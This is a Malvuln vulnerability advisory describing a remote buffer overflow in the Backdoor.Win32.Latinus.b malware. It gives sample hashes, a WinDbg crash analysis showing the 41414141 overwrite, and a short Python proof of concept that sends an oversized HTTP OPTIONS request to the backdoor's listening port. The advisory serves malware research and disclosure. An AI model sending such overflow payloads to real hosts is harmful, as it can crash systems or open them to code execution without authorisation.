Discovery / credits: Malvuln - malvuln.com (c) 2021 Original source: https://malvuln.com/advisory/9adffcc98cd658a7f9c5419480013f72.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.Latinus.b Vulnerability: Remote Buffer Overflow Description: Malware listens on both TCP ports 11831 and 29559, by sending an HTTP OPTIONS request with about 8945 bytes we trigger buffer overflow and overwriting stack registers. Type: PE32 MD5: 9adffcc98cd658a7f9c5419480013f72 Vuln ID: MVID-2021-0029 Dropped files: msHtml.exe ASLR: False DEP: False Safe SEH: True Disclosure: 01/15/2021 Memory Dump: EAX : 41414141 EBX : 040C91C0 ECX : 41414141 EDX : 040C7020 EBP : 0046B614 mshtml.0046B614 ESP : 000A1494 ESI : 00000014 EDI : 0046B610 mshtml.0046B610 EIP : 00401C78 mshtml.00401C78 This dump file has an exception of interest stored in it. The stored exception information can be accessed via .ecxr. (1534.17c0): Access violation - code c0000005 (first/second chance not available) eax=41414141 ebx=04138948 ecx=41414141 edx=41414141 esi=00000014 edi=0046b610 eip=00401c76 esp=000a1644 ebp=0046b614 iopl=0 nv up ei pl nz na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206 *** WARNING: Unable to verify checksum for msHtml.exe *** ERROR: Module load completed but symbols could not be loaded for msHtml.exe msHtml+0x1c76: 00401c76 8902 mov dword ptr [edx],eax ds:002b:41414141=???????? 0:000> !analyze -v ******************************************************************************* * * * Exception Analysis * * * ******************************************************************************* Failed calling InternetOpenUrl, GLE=12029 FAULTING_IP: msHtml+1c76 00401c76 8902 mov dword ptr [edx],eax EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff) ExceptionAddress: 00401c76 (msHtml+0x00001c76) ExceptionCode: c0000005 (Access violation) ExceptionFlags: 00000000 NumberParameters: 2 Parameter[0]: 00000001 Parameter[1]: 41414141 Attempt to write to address 41414141 PROCESS_NAME: msHtml.exe OVERLAPPED_MODULE: Address regions for 'comctl32_72d50000' and 'dataexchange.dll' overlap ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_PARAMETER1: 00000001 EXCEPTION_PARAMETER2: 41414141 WRITE_ADDRESS: 41414141 FOLLOWUP_IP: msHtml+1c76 00401c76 8902 mov dword ptr [edx],eax MOD_LIST: NTGLOBALFLAG: 0 APPLICATION_VERIFIER_FLAGS: 0 FAULTING_THREAD: 000017c0 BUGCHECK_STR: APPLICATION_FAULT_STRING_DEREFERENCE_INVALID_POINTER_WRITE_EXPLOITABLE_FILL_PATTERN_41414141 PRIMARY_PROBLEM_CLASS: STRING_DEREFERENCE_EXPLOITABLE_FILL_PATTERN_41414141 DEFAULT_BUCKET_ID: STRING_DEREFERENCE_EXPLOITABLE_FILL_PATTERN_41414141 IP_ON_HEAP: 04144b5c The fault address in not in any loaded module, please check your build's rebase log at \bin\build_logs\timebuild\ntrebase.log for module which may contain the address if it were loaded. FRAME_ONE_INVALID: 1 LAST_CONTROL_TRANSFER: from 04144b5c to 00401c76 STACK_TEXT: WARNING: Stack unwind information not available. Following frames may be wrong. 0046b614 04144b5c 027b87b0 027b9da4 027b9da4 msHtml+0x1c76 0046b618 027b87b0 027b9da4 027b9da4 00000000 0x4144b5c 0046b61c 027b9da4 027b9da4 00000000 00000000 0x27b87b0 0046b620 027b9da4 00000000 00000000 00000000 0x27b9da4 0046b624 00000000 00000000 00000000 0019ff74 0x27b9da4 STACK_COMMAND: ~0s; .ecxr ; kb SYMBOL_STACK_INDEX: 0 SYMBOL_NAME: msHtml+1c76 FOLLOWUP_NAME: MachineOwner MODULE_NAME: msHtml IMAGE_NAME: msHtml.exe DEBUG_FLR_IMAGE_TIMESTAMP: 2a425e19 FAILURE_BUCKET_ID: STRING_DEREFERENCE_EXPLOITABLE_FILL_PATTERN_41414141_c0000005_msHtml.exe!Unknown BUCKET_ID: APPLICATION_FAULT_STRING_DEREFERENCE_INVALID_POINTER_WRITE_EXPLOITABLE_FILL_PATTERN_41414141_msHtml+1c76 Exploit/PoC: from socket import * MALWARE_HOST="x.x.x.x" PORT=29559 def doit(): s=socket(AF_INET, SOCK_STREAM) s.connect((MALWARE_HOST, PORT)) PAYLOAD="OPTIONS /"+"A"*8945+ " HTTP/1.1\r\nHost: "+MALWARE_HOST+"\r\n\r\n" s.send(PAYLOAD) s.close() print("Backdoor.Win32.Latinus.b / Remote Buffer Overflow ") print("MD5: 9adffcc98cd658a7f9c5419480013f72") print("By Malvuln") if __name__=="__main__": doit() Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).